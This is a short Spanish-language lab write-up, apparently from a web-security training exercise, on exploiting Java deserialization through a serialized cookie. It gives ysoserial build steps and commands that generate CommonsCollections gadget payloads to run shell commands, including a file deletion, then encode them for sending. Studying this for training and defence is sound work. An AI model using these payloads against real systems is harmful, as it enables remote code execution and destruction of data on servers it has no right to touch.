5 - Exploiting Java deserialization with Apache Commons

Si le hacemos url decode y base64 decode a la cookie, nos queda algo como esto :

Uso de ysoserial :

java -jar ysoserial-all.jar \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \ [payload] '[command]'

📋 Situación actual

Tienes un sistema que hace unserialize() de objetos Java como:

lab.actions.common.serializable.AccessTokenUser

🔥 ¿Cómo usar ysoserial aquí?

1. Compilar o descargar ysoserial.jar:

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package

O si quieres rápido:

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-0.0.6-all.jar

2. Generar un payload malicioso:

Ejemplo: quieres ejecutar touch /tmp/pwned en el servidor:

java -jar ysoserial-0.0.6-all.jar CommonsCollections1 'touch /tmp/pwned' > payload.ser

Esto te genera un objeto Java serializado que al deserializar ejecuta touch /tmp/pwned.


🤔 ¿Pero qué pasa aquí?

Tu sistema probablemente espera un objeto de tipo:

lab.actions.common.serializable.AccessTokenUser

ysoserial genera un payload de tipo:

org.apache.commons.collections.Transformer

y otros gadgets de librerías.

💬 Problema:
Si el sistema hace un instanceof para comprobar que el objeto sea de tipo AccessTokenUser, el payload fallará.

💬 Si NO hay verificación, entonces deserializará lo que sea y ejecutará el comando.


java -jar ysoserial-all.jar \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \ CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0

||

java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0

Luego url encodeamos el payload y lo enviamos.